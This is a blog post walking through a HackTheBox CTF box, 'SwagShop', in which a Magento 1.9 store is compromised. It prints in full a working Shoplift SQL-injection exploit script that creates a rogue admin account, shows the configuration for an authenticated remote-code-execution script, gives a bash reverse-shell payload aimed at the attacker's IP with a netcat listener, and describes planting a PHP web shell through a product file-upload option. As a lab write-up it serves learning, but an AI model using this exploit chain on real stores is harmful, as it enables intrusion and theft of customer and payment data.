Magento Exploitation! — From Customer to Server User Access

Steven Petty
The Startup
Published in
10 min readNov 7, 2019

Summary

Magento is a CMS (Content Management System) for E-Commerce websites that is widely used internationally. Even though you may have been unaware of it, I can guarantee you have probably purchased something from a company that uses Magento (such as HP or Zumies). Theoretically if an adversary can gain access to a target’s Magento platform they could then cause irreparable damage to that organizations sales and/or reputation…. and that’s the best case scenario.

With that said anytime a company uses a 3rd party application it opens up many doors for vulnerabilities. In this write up we are going to penetrate a simple E-Commerce website’s Magento platform which will then give us full access to the products, payment information, customer data, and more that are stored on the website. LET’S GO!

Dat Recon Baby

As always you should start any op with a thorough reconnaissance phase, otherwise you could end up wasting hours if not days poking at a target to no avail. Hell sometimes you can find an open door during this phase without any real exploitation!

So to preface, our target is SwagShop from HackTheBox! This site is being hosted at 10.10.10.140 once you VPN into HTB’s network.

Now lets get started with some initial scanning with….. you guessed it, Nmap.

Let’s review the switches we used and why:

-sV: This gives us the version of the service running on each port.-sC: This will use the default NSE scripts which can be useful for additional artifact discovery.

With the Nmap scan done we see that there is an Apache server running on port 80. Navigating to http://10.10.10.140/ we are presented with the servers E-Commerce website.

As you can see right off the bat we can see this site is running Magento because of the logo but this may not always be the case. Generally scanning through the source code (ctrl + U) will give you a great idea of what applications your target is running which can lead to vulnerabilities. A great tool to automate this process is the Wappalyzer plugin for your browser which at a quick glance will indicate all applications/versions/languages currently running on your target (all that it can find anyway, remember to always remain skeptical of your tools).

I always like to start by clicking around the website just to get a rough feel for the landscape of the target and what’s available at face value. A great way to do this quickly is to checkout the /robots.txt file which can give some insight into what pages the target does or does not want public. Unfortunately with this target we have no such file.

Looking closer we can see at the bottom of the site that the current version of Magento the target is using was from 2014. Outdated and unpatched versions of software is every hacker’s dream as instead of having to find a complicated Zero day, there may already be some exploit scripts in the wild that make compromise trivial.

Foothold

So before we start poking for any misconfigurations or security flaws on the website, lets see if our work has already been done for us by looking for known exploit scripts using Searchsploit:

Obviously RCE (Remote Code Execution) would be ideal as that means we would have the ability to run commands on the server hosting the website. The possibilities could be endless #evilface

And as it so happens there is already a known RCE exploit in the wild as we see via Searchsploit:

Magento eCommerce - Remote Code Execution     | exploits/xml/webapps/37977.py

Lets start by copying this script into our working directory so we can review the code and make any necessary changes:

$ cp /usr/share/exploitdb/exploits/xml/webapps/37977.py .
$ vi 37977.py
##################################################################################################
#Exploit Title : Magento Shoplift exploit (SUPEE-5344)
#Author : Manish Kishan Tanwar AKA error1046
#Date : 25/08/2015
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Debugged At : Indishell Lab(originally developed by joren)
##################################################################################################

////////////////////////
/// Overview:
////////////////////////

Magento shoplift bug originally discovered by CheckPoint team (http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/)
This python script developed by joren but it was having some bug because of which it was not working properly.
If magento version is vulnerable, this script will create admin account with username forme and password forme


////////////////
/// POC ////
///////////////
Exploit script starts here
///////////////////
#Thanks to
# Zero cool, code breaker ICA, Team indishell, my father , rr mam, jagriti and DON
import requests
import base64
import sys

target = "http://target.com/"

if not target.startswith("http"):
target = "http://" + target

if target.endswith("/"):
target = target[:-1]

target_url = target + "/admin/Cms_Wysiwyg/directive/index/"

q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""


query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds forme:forme".format(target)
else:
print "DID NOT WORK"

/////////////////
exploit code ends here


--==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
--==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
--==[[ Special Fuck goes to ]]==--
<3 suriya Cyber Tyson <3

And there is the raw code for our python exploit script. Obviously if you just run this script without any modifications it will fail, so first we need to understand what this script does and how to modify it. Good news is the author of this script (@error1046) added the writeup of the exploit finding to the script comments which I strongly recommend you read through the technical section to understand exactly where the vulnerabilities lie.

We understand that this exploit actually leverages 3 different CVEs chained together: CVE-2015–1397, CVE-2015–1398, CVE-2015–1399. Long story short we are able to inject a new “Admin” user to the Magento application which we can then use to log straight in. Now lets start modifying our exploit script:

Add: #!/usr/bin/env pythonChange:
target = "http://target.com/"
format(username="forme", password="forme")
To:
target = "http://10.10.10.140/index.php"
format(username="DataLeak", password="DatasPass")

And that’s it! Now mind you, copying other peoples exploits and modifying may yield the results you are looking for, but should only be a stepping stone in your Offensive Security journey. You should strive to fully understand the code you are running so that eventually you can write your own. While we HARDLY had to modify this script, know that some OTS (Off The Shelf) scripts may require major edits or even rewrites.

Well now we have our exploit, lets kick it off and see if we are successful or not!

Obviously we changed forme:forme to DataLeak:DatasPass

And sure enough…..

Admin LOGIN!

Now while having our own active Administrator account to our target’s Magento dashboard is a huge win, we don’t want to stop there….

Exploitation

Our ultimate goal is root on the server hosting the Magento website. Now in this case, and how it should be, the website is not being hosted on the server by the root account. That would be a HUGE mistake and risk as any exploitation of the website would lead directly to a root shell #pwncity. Instead the Apache web-server is being operated by a lower privileged user account. So user account access is our first step :)

So in my enumeration and research of the Magento 1.9.0.1 platform I found 2 different ways to exploit and get a user shell on this software.

  • First path: Using an exploit script found using searchsploit, if you can get this to work it is preferred as the easiest method. Although the script seems very buggy and may require a ton of modification to work. Thus the second method….
  • Second Path: Due to the administrator access gained from the previous exploit this opens up the Mageno Dashboard to any and all actions an Admin could take. While no misconfigurations currently exists on the e-commerce application, that doesn’t mean we can’t create our own to exploit >:)

First Path:

If we rewind back to the beginning of our exploitation phase there was another similar exploit that Searchsploit found….

Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | exploits/php/webapps/37811.py

What’s the difference between 37811 and 37977? Well 37811 requires an already authenticated account to Magento, which it can then leverage to gain RCE access to the server. Looking at the script here we see there are only a few modifications needed:

# Config.
username = ''
password = ''
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml

Here you will put in your username:password you created with the previous exploit, and update the “install_date” with the correct one for SwagShop:

# Config.
username = 'DataLeak'
password = 'DatasPass'
php_function = 'system'
install_date = 'Wed, 08 May 2019 07:23:09 +0000'

Once you have modified your script it’s time to fire that bad boy up. As you should already know from reviewing the code we have to pass in the correct arguments:

1. Call python on your script: python code_exec.py2. Our target page that our script will login to: http://10.10.10.140/index.php/admin/3. Our payload of what command we want to run on the server: "bash -c 'bash -i >& /dev/tcp/<your IP>/<listening Port> 0>&1'"

Now before we run this script and tell the server to call back to our local machine we have to be ready to capture that session…

Running NetCat on port 1337

Great! We are now ready to #SendIt

So in theory this should login to the Admin Magento console, deliver our payload, and reward us with a User shell…

Anddddd BOOM goes the Dynamite!

Second Path:

There is another exploit that can’t be found with Searchsploit or Exploit DB since it’s not a simple script you modify and execute. This exploit is targeting a misconfiguration in the Magento application, even though the misconfiguration doesn’t exists by default, since we have Admin access we can re-configure the Magento configuration >:)

As a first step, I went to the “Manage Products” page (from catalog menu) and chose one of the products (if there are no products you can easily create one!).

In this case, I chose “5x Hack The Box Sticker”. After that, I clicked the “Add New Option” button and set Title, selected “File” in Input Type field and added “.php” to Allowed File Extensions field and saved this configuration. I’m all set!

Then, back to the shopping site, I clicked the item which I’ve edited and chose “php-reverse-shell.php”. Clicking “ADD TO CART” button lets you to upload this webshell to the server.

You’ll see that there is a PHP file in “10.10.10.140/media/custom_options/quote/p/h/”. It is the webshell I uploaded.

I run a netcat command and clicked this webshell file, and.. got a user shell!!

#Pwned?

WOO!! Don’t be afraid to throw a fist pump and let out a cheer as this is a hell of a victory! But keep in mind our work isn’t done yet >:)

We now have User access to the server which means we can wreak havoc on our targets E-Commerce store, but we don’t want to stop there! Every decent hacker is way more greedy than that, what we want is Root access…

Unfortunately I’m not going to cover that in this write up as we will be transitioning over to the Privilege Escalation side of an attack and there is a lot to cover there. So be sure to check back soon to see how we can leverage our measly User access to #CompletelyPwn this box!

As always thanks for reading! #ByeFelica

Photo by Luther Bottrill on Unsplash

--

--

Steven Petty
The Startup

I hack to learn! Follow me on Twitter @PettyHacks